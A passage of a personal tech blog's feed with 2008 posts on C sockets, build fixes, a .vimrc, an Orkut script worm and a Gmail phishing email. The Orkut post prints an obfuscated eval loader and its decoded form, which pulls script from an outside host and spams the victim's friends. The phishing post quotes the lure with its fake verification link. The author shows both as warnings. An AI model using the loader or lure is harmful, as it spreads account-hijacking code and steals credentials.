/&gt;printf("client %d disconnected\n", list[num]);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void send_data(int num)&lt;br /&gt;{&lt;br /&gt;int n;&lt;br /&gt;char buffer[1024];&lt;br /&gt;memset(buffer, '\0', 1024);&lt;br /&gt;printf("Enter the message to send: ");&lt;br /&gt;fgets(buffer, 1014, stdin);&lt;br /&gt;strncat(buffer, "--list[%d]", num);&lt;br /&gt;if ((n = send(list[num], buffer, strlen(buffer), 0)) &gt; 0)&lt;br /&gt;{&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;printf("%d bytes sent from %d\n", n, list[num]);&lt;br /&gt;#endif&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void scan_clients()&lt;br /&gt;{&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;printf("scan_clients\n");&lt;br /&gt;#endif&lt;br /&gt;int num;&lt;br /&gt;&lt;br /&gt;for (num = 0; num &lt; MAX_CLIENT; num++)&lt;br /&gt;if (FD_ISSET(list[num], &amp;fdset))&lt;br /&gt;recv_data(num);&lt;br /&gt;&lt;br /&gt;for (num = 0; num &lt; MAX_CLIENT; num++)&lt;br /&gt;send_data(num);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;int readsocks;&lt;br /&gt;int i = 0;&lt;br /&gt;struct timeval tv;&lt;br /&gt;tv.tv_sec = 0;&lt;br /&gt;tv.tv_usec = 10;&lt;br /&gt;&lt;br /&gt;for (i = 0; i &lt; MAX_CLIENT; i++)&lt;br /&gt;list[i] = 0;&lt;br /&gt;for (i = 0; i &lt; MAX_CLIENT; i++)&lt;br /&gt;cli_con();&lt;br /&gt;for (i = 0; i &lt; MAX_CLIENT; i++)&lt;br /&gt;printf ("list[%d] = %d\n",i,list[i]);&lt;br /&gt;&lt;br /&gt;/* i = 0; Not needed now */&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;set_list();&lt;br /&gt;readsocks = select(highfd + 1, &amp;fdset, NULL, NULL, &amp;tv);&lt;br /&gt;if (readsocks &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("select\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*printf("else scan_clients\n");*/&lt;br /&gt;scan_clients();&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;sleep(4);&lt;br /&gt;#endif&lt;br /&gt;} while (0);&lt;br /&gt;&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-936809619535811227?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/936809619535811227/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=936809619535811227&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/936809619535811227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/936809619535811227'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/02/threaded-tcp-server-client.html' title='Threaded TCP Server-Client'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-3579954682674740245</id><published>2008-01-31T11:00:00.001+05:30</published><updated>2010-03-27T14:13:55.664+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='js'/><title type='text'>Orkut Java Scripts</title><content type='html'>There was a javascript from my friend on Orkut. I thought I will try it for fun. This was the script:&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:javascript"&gt;javascript:eval(String.fromCharCode(100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 59, 99, 61, 100, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 100, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 99, 41, 59, 99, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 99, 111, 111, 108, 112, 99, 115, 116, 117, 102, 102, 46, 103, 111, 111, 103, 108, 101, 112, 97, 103, 101, 115, 46, 99, 111, 109, 47, 114, 111, 100, 114, 105, 103, 111, 46, 117, 115, 101, 114, 46, 106, 115, 39, 59, 118, 111, 105, 100, 40, 48, 41))&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;After executing the script, i tried to visit the orkut page. This was the result&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;img id="BLOGGER_PHOTO_ID_5161509295613724962" style="margin: 0px auto 10px; display: block; text-align: center;" alt="" src="http://1.bp.blogspot.com/_nYiDaTJPOrs/R6FdW4XuySI/AAAAAAAADgg/V4DqFKQoqIo/s400/orkut_script.jpg" border="0" /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Immediately I realised that its a recursive script which sends some message to all my friends. After 3 minutes (After the script finished running), i got into my orkut and checked my friends scrapbooks. There was &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;my&lt;/span&gt; scrap on all their scrapbooks, with the above script.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Since the script exceeded 280 friend scraps, i was not able to scrap anyone. So to avoid such inconvenience to my friends, i went to their scrapbooks and deleted them on my own.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Evening, i asked Sangeetha to decode the script. She did it in quick time with the help of this: &lt;span style="font-size:100%;"&gt;http://www.w3schools.com/jsref/tryit.asp?filename=tryjsref_fromcharcode&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;The decoded to this:&lt;pre type="syntaxhighlighter" class="brush:javascript"&gt;d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://coolpcstuff.googlepages.com/rodrigo.user.js';void(0) &lt;/pre&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;So, all i had to do was to post a complaint or abuse report on that coolpcstuff.googlepages.com.&lt;/div&gt;&lt;br /&gt;Report it &lt;a href='http://www.google.com/support/pages/bin/request.py'&gt;here&lt;/a&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Once for all, we need to stop executing any script on orkut for that matter. At last, its our ignorance which they exploit. I hate these silly idiots.&lt;/div&gt;&lt;!--EndFragment--&gt;&lt;!--EndFragment--&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-3579954682674740245?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/3579954682674740245/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=3579954682674740245&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/3579954682674740245'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/3579954682674740245'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/01/orkut-java-scripts.html' title='Orkut Java Scripts'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_nYiDaTJPOrs/R6FdW4XuySI/AAAAAAAADgg/V4DqFKQoqIo/s72-c/orkut_script.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-78507376860167294</id><published>2008-01-31T10:24:00.000+05:30</published><updated>2008-02-10T19:24:51.418+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Beware of Spams and Crackers on GMail</title><content type='html'>from Gmail Administrator &lt;no-reply@gmail.com&gt; hide details 10:41 pm (1½ hours ago)&lt;br /&gt;to visionofarun &lt;visionofarun@gmail.com&gt;&lt;br /&gt;date Sun, 16 Sep 2007 21:01:39 +0580&lt;br /&gt;subject Last Warning to Prevent the Termination of your Gmail Account by updating your Account Information&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dear Gmail Member,&lt;br /&gt;&lt;br /&gt;During our regularly scheduled account maintenance and verification procedure, we have detected a slight error in your information.&lt;br /&gt;&lt;br /&gt;This might be due to either of the following reasons:&lt;br /&gt;&lt;br /&gt;1. A recent change in your personal information (i.e. change of address).&lt;br /&gt;&lt;br /&gt;2. Submitting invalid information during the initial sign up process.&lt;br /&gt;&lt;br /&gt;3. &lt;span style="color: rgb(255, 255, 51);"&gt;An inability&lt;/span&gt; to accurately verify your selected option of subscription due to an internal error within our processors.&lt;br /&gt;&lt;br /&gt;Please update and verify your information by clicking the link below:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://googleverification.110mb.com/verifymyaccount/" target="_blank"&gt;http://googleverification.110mb.com/ver&lt;wbr&gt;ifymyaccount/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If your account information is not updated within 72 hours then your ability to use your Gmail account will become restricted.&lt;br /&gt;&lt;br /&gt;Sincerely,&lt;br /&gt;&lt;br /&gt;Google Mail Administrator&lt;br /&gt;&lt;br /&gt;Please do not reply to this e-mail. If you have general questions regarding your account, please click Help in the upper right corner for the GMail comprehensive online help.&lt;br /&gt;&lt;br /&gt;© 2007 &lt;span style="color: rgb(255, 255, 0);"&gt;Google Mail Corporation&lt;/span&gt;. All rights reserved&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;I got the above mail on 15/7/2007. I believe some of you guys might have also got similar mails. Analyzing the above mail, there are few points:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;1. There is no Google Mail Corporation. But simply "Google Incorporation".&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;2. There is no way that GMail admin will mail you mentioning some "slight error". :-) If it were, its their production issue, and they will solve it. We dont need to bother.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;3. "An inability".. "within our processors.".. This is total crap. What poor language the idiot has used..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;4. Here comes the last catch&lt;/span&gt;&lt;br /&gt;&lt;a href="http://googleverification.110mb.com/verifymyaccount/" target="_blank"&gt;http://googleverification.110mb.com/ver&lt;wbr&gt;ifymyaccount/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Why should google use any domain other than google.com?? here it is 110mb.com. Only if you are a complete fool, there are chances that you will be tempted to throw your account information into the cheap idiot's pocket.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/visionofarun@gmail.com&gt;&lt;/no-reply@gmail.com&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: left;"&gt;&lt;no-reply@gmail.com&gt;&lt;visionofarun@gmail.com&gt;Do a bit of googling, when you find:&lt;br /&gt;&lt;/visionofarun@gmail.com&gt;&lt;/no-reply@gmail.com&gt;&lt;a href="http://groups.google.com/group/Gmail-ABCs/browse_thread/thread/b50be48b2d2fdad1/8033c3c55497411d" target="_blank"&gt;http://&lt;/a&gt;&lt;a href="http://groups.google.com/group/Gmail-ABCs/browse_thread/thread/b50be48b2d2fdad1/8033c3c55497411d"&gt;&lt;no-reply@gmail.com&gt;&lt;visionofarun@gmail.com&gt;&lt;span style="text-decoration: underline;"&gt;g&lt;/span&gt;roups.google.com/group/Gmail-ABCs/browse_thread/thread/b50be48b2d2fdad1/8033c3c55497411d&lt;/visionofarun@gmail.com&gt;&lt;/no-reply@gmail.com&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;no-reply@gmail.com&gt;&lt;visionofarun@gmail.com&gt;&lt;/visionofarun@gmail.com&gt;&lt;/no-reply@gmail.com&gt;&lt;/div&gt;&lt;no-reply@gmail.com&gt;&lt;visionofarun@gmail.com&gt;&lt;br /&gt;Read that..&lt;br /&gt;&lt;br /&gt;I have already made a post on this in the Orkut forum here:&lt;br /&gt;&lt;/visionofarun@gmail.com&gt;&lt;/no-reply@gmail.com&gt;&lt;a href="http://www.orkut.com/CommMsgs.aspx?cmm=38115513&amp;amp;tid=2555364279647860660"&gt;http://www.orkut.com/CommMsgs.aspx?cmm=38115513&amp;amp;tid=2555364279647860660&lt;/a&gt;&lt;no-reply@gmail.com&gt;&lt;visionofarun@gmail.com&gt;&lt;br /&gt;&lt;br /&gt;We may be ignorant about something.. But never be idiotic..&lt;br /&gt;&lt;/visionofarun@gmail.com&gt;&lt;/no-reply@gmail.com&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-78507376860167294?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/78507376860167294/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=78507376860167294&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/78507376860167294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/78507376860167294'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/01/beware-of-spams-and-crackers-on-gmail.html' title='Beware of Spams and Crackers on GMail'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-7510459592870494779</id><published>2008-01-24T10:38:00.002+05:30</published><updated>2010-03-27T14:15:40.474+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>GtMess</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_nYiDaTJPOrs/R5geM4XuxpI/AAAAAAAADZg/JygFdtimBAU/s1600-h/GtMess.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_nYiDaTJPOrs/R5geM4XuxpI/AAAAAAAADZg/JygFdtimBAU/s400/GtMess.jpg" alt="" id="BLOGGER_PHOTO_ID_5158906579792086674" border="0" /&gt;&lt;/a&gt;I got gtmess, a console based MSN client from &lt;a href="http://gtmess.sourceforge.net/"&gt;here&lt;/a&gt;. I telnet'ed to the RHEL server and tried to build it.&lt;br /&gt;&lt;br /&gt;./configure went without any error.&lt;br /&gt;&lt;br /&gt;But 'make install' threw up an error, all compile errors, thankfully no link error:&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:cpp"&gt;gcc -DHAVE_CONFIG_H -I. -I../../src    -DDATADIR=\"/usr/local/share/gtmess\" -g -O2 -MT pass.o -MD -MP -MF .deps/pass.Tpo -c -o pass.o pass.c&lt;br /&gt;In file included from /usr/include/openssl/ssl.h:179,&lt;br /&gt;from pass.c:42:&lt;br /&gt;/usr/include/openssl/kssl.h:72:18: krb5.h: No such file or directory&lt;br /&gt;In file included from /usr/include/openssl/ssl.h:179,&lt;br /&gt;from pass.c:42:&lt;br /&gt;/usr/include/openssl/kssl.h:132: parse error before "krb5_enctype"&lt;br /&gt;/usr/include/openssl/kssl.h:134: parse error before "FAR"&lt;br /&gt;/usr/include/openssl/kssl.h:135: parse error before '}' token&lt;br /&gt;/usr/include/openssl/kssl.h:147: parse error before "kssl_ctx_setstring"&lt;br /&gt;/usr/include/openssl/kssl.h:147: parse error before '*' token&lt;br /&gt;/usr/include/openssl/kssl.h:148: parse error before '*' token&lt;br /&gt;/usr/include/openssl/kssl.h:149: parse error before '*' token&lt;br /&gt;/usr/include/openssl/kssl.h:149: parse error before '*' token&lt;br /&gt;/usr/include/openssl/kssl.h:150: parse error before '*' token&lt;br /&gt;/usr/include/openssl/kssl.h:151: parse error before "kssl_ctx_setprinc"&lt;br /&gt;/usr/include/openssl/kssl.h:151: parse error before '*' token&lt;br /&gt;/usr/include/openssl/kssl.h:153: parse error before "kssl_cget_tkt"&lt;br /&gt;/usr/include/openssl/kssl.h:153: parse error before '*' token&lt;br /&gt;/usr/include/openssl/kssl.h:155: parse error before "kssl_sget_tkt"&lt;br /&gt;/usr/include/openssl/kssl.h:155: parse error before '*' token&lt;br /&gt;/usr/include/openssl/kssl.h:157: parse error before "kssl_ctx_setkey"&lt;br /&gt;/usr/include/openssl/kssl.h:157: parse error before '*' token&lt;br /&gt;/usr/include/openssl/kssl.h:159: parse error before "context"&lt;br /&gt;/usr/include/openssl/kssl.h:160: parse error before "kssl_build_principal_2"&lt;br /&gt;/usr/include/openssl/kssl.h:160: parse error before "context"&lt;br /&gt;/usr/include/openssl/kssl.h:163: parse error before "kssl_validate_times"&lt;br /&gt;/usr/include/openssl/kssl.h:163: parse error before "atime"&lt;br /&gt;/usr/include/openssl/kssl.h:165: parse error before "kssl_check_authent"&lt;br /&gt;/usr/include/openssl/kssl.h:165: parse error before '*' token&lt;br /&gt;/usr/include/openssl/kssl.h:167: parse error before "enctype"&lt;br /&gt;In file included from pass.c:42:&lt;br /&gt;/usr/include/openssl/ssl.h:909: parse error before "KSSL_CTX"&lt;br /&gt;/usr/include/openssl/ssl.h:931: parse error before '}' token&lt;br /&gt;make[2]: *** [pass.o] Error 1&lt;br /&gt;make[2]: Leaving directory `/home/user23/gtmess-0.94/src/client'&lt;br /&gt;make[1]: *** [install-recursive] Error 1&lt;br /&gt;make[1]: Leaving directory `/home/user23/gtmess-0.94/src'&lt;br /&gt;make: *** [install-recursive] Error 1&lt;br /&gt;[user23@icis_linux gtmess-0.94]$ cd ..&lt;br /&gt;&lt;/pre&gt;As noted, the error was &lt;pre type="syntaxhighlighter" class="brush:c"&gt;/usr/include/openssl/kssl.h:72:18: krb5.h: No such file or directory&lt;/pre&gt;, I found that in kssl.h, they have included krb5.h. But the complier was not able to find the file. It means that the default include path (CFLAGS) doesn't contain the path where the kbr5.h.&lt;br /&gt;&lt;br /&gt;So, my next step was to find where it is. I gave a small find command:&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;find /usr -name "kbr5.h"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;It showed the path as &lt;pre&gt;/usr/kerberos/include&lt;/pre&gt;. mm, so this is because RedHat moved the kerberos headers (for OpenSSL authentication) and libraries from their expected location. I believe, this could be a problem only on RHEL 2.x. I hope that they have fixed it on RHEL 4.&lt;br /&gt;&lt;br /&gt;So, the solution was to&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;make clean&lt;br /&gt;./configure CFLAGS=-I/usr/kerberos/include&lt;br /&gt;make install&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I dont have write permission to /usr/bin. So my intall failed. Nevertheless the binary was in ~/gtmess-0.94/src/client/ folder. I copied that to my ~/bin folder, so that it will run without any dependencies. It is just a static build. So, no complexities.&lt;br /&gt;&lt;br /&gt;Before using gtmess, run &lt;pre&gt;gtmess --help&lt;/pre&gt;and also read the README file. The picture shows a sample conversation with Akka..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-7510459592870494779?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/7510459592870494779/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=7510459592870494779&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/7510459592870494779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/7510459592870494779'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/01/gtmess.html' title='GtMess'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_nYiDaTJPOrs/R5geM4XuxpI/AAAAAAAADZg/JygFdtimBAU/s72-c/GtMess.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-5590534079092876963</id><published>2008-01-24T02:57:00.001+05:30</published><updated>2010-03-27T14:16:30.892+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>My .vimrc</title><content type='html'>&lt;pre type="syntaxhighlighter" class="brush:html"&gt;set nocompatible&lt;br /&gt;" source $VIMRUNTIME/vimrc_example.vim&lt;br /&gt;" source $VIMRUNTIME/mswin.vim&lt;br /&gt;" behave mswin&lt;br /&gt;&lt;br /&gt;set ts=4&lt;br /&gt;set expandtab&lt;br /&gt;set nu&lt;br /&gt;set nocp incsearch&lt;br /&gt;set cinoptions=:0,p0,t0&lt;br /&gt;set cinwords=if,else,while,do,for,switch,case&lt;br /&gt;set formatoptions=tcqr&lt;br /&gt;set autoindent&lt;br /&gt;set shiftwidth=4&lt;br /&gt;set hlsearch&lt;br /&gt;set smartcase&lt;br /&gt;set ic&lt;br /&gt;"set confirm&lt;br /&gt;set showcmd&lt;br /&gt;set ruler&lt;br /&gt;set restorescreen&lt;br /&gt;set wildmode=longest,full&lt;br /&gt;set km=startsel&lt;br /&gt;set slm=mouse,key&lt;br /&gt;"&lt;br /&gt;" John Dierdorf changes to function keys&lt;br /&gt;"&lt;br /&gt;map &lt;f2&gt; :w&lt;br /&gt;map &lt;f3&gt; :q&lt;br /&gt;map &lt;f4&gt; :x&lt;br /&gt;map &lt;f5&gt; gq}&lt;br /&gt;imap &lt;f2&gt; w&lt;br /&gt;imap &lt;f3&gt; q&lt;br /&gt;imap &lt;f4&gt; x&lt;br /&gt;imap &lt;f5&gt; q}&lt;br /&gt;imap &lt;f12&gt;&lt;br /&gt;autocmd FileType * set formatoptions=tcql nocindent comments&amp;amp;&lt;br /&gt;autocmd Filetype c,cpp,h set formatoptions=croql cindent comments=sr:/*,mb:*,ex:*/,://&lt;br /&gt;autocmd BufReadPre *.t*xt set linebreak textwidth=72&lt;br /&gt;" colors ron&lt;br /&gt;&lt;/f12&gt;&lt;/f5&gt;&lt;/f4&gt;&lt;/f3&gt;&lt;/f2&gt;&lt;/f5&gt;&lt;/f4&gt;&lt;/f3&gt;&lt;/f2&gt;&lt;/pre&gt;The code listed here doesn't show the escape characters. So better download it in the link given below. All my friends use this file. So you should not face any problem. In case you find face some problem, feel free to post a comment so that I can help. You can get my &lt;a href="http://visionofarun.googlepages.com/vimrc"&gt;.vimrc&lt;/a&gt; here. When downloaded, it will not have any extension. When you ftp that on to UNIX/Linux box, you can change the name to .vimrc.&lt;br /&gt;&lt;br /&gt;Another Windows hack: when you try to rename any file on Windows to, say, .arun or .bash_history, Windows will not allow you to save with that name. But will show you an error message saying: &lt;span style="font-style: italic; font-weight: bold;"&gt;You must type a file name.&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;If you are too eager to know how to make it possible, here it is: Filezilla is able to do that for you. Open Filezilla and it will show you the directory listing for the filetransfer. You can press F2 and rename to any thing you wanted. (But definitely not the reserved keyword: con, lpt1, etc)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-5590534079092876963?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/5590534079092876963/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=5590534079092876963&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5590534079092876963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5590534079092876963'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/01/my-vimrc.html' title='My .vimrc'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-3890312300231623004</id><published>2008-01-24T01:14:00.001+05:30</published><updated>2008-02-10T19:20:11.465+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>McAfee idiots</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_nYiDaTJPOrs/R5eZOoXuxoI/AAAAAAAADZY/vuMLc-nLb24/s1600-h/McAfee_idiots.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_nYiDaTJPOrs/R5eZOoXuxoI/AAAAAAAADZY/vuMLc-nLb24/s400/McAfee_idiots.jpg" alt="" id="BLOGGER_PHOTO_ID_5158760374810363522" border="0" /&gt;&lt;/a&gt;First, you may be wondering why I am using Windows. hmm.. My display device is Intel 965 with X3100 graphics accelerator. Xorg drivers has a bug for the X3100. It is not fixed in Ubuntu Gutsy release. So, cant run compiz effect on my system. Apart from that, I am on Dell XPS 1330. So my friend pressed the Dell Mediadirect button, which deleted the GRUB partition. I lost all my data. I have decided to take the Media direct button off, when the Xorg bug is fixed and load Ubuntu.&lt;br /&gt;&lt;br /&gt;Okay, here i come to the point.&lt;br /&gt;&lt;br /&gt;I changed the IE foreground and background colors so that it will be convenient for me to read during night. When I opened my McAfee, I was shocked to see it without any thing on its screen. There was just a "YES" in green color. What would you think at first would have happened??&lt;br /&gt;&lt;br /&gt;I thought that cracker has got into my system and has implanted a trojan. I run windows vista. So I have all the reasons to be afraid of. Then when i looked closely, really closely,  into my screen, I found that the Update and Scan button in the McAfee home screen had fonts in white color. Then i got the point that it fetches the values from the IE pallets.&lt;br /&gt;&lt;br /&gt;This McAfee idiots doesn't have time or patience to code that small module, which will color their own product. Instead they fetch from some other program. For God sake, they  sell anti-virus products.&lt;br /&gt;&lt;br /&gt;Please save us from these idiots. someone please come up with good open source products. My laptop hardware is not supporting the asthetic look of the compiz-fusion. If not, I have all the reasons to run Ubuntu on my lappy. Hmm.. waiting for Hardy Heron to be released, to see if they have any fix for their bug in the Xorg for Intel 965 Chipset, mobile.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-3890312300231623004?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/3890312300231623004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=3890312300231623004&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/3890312300231623004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/3890312300231623004'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/01/mcafee-idiots.html' title='McAfee idiots'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 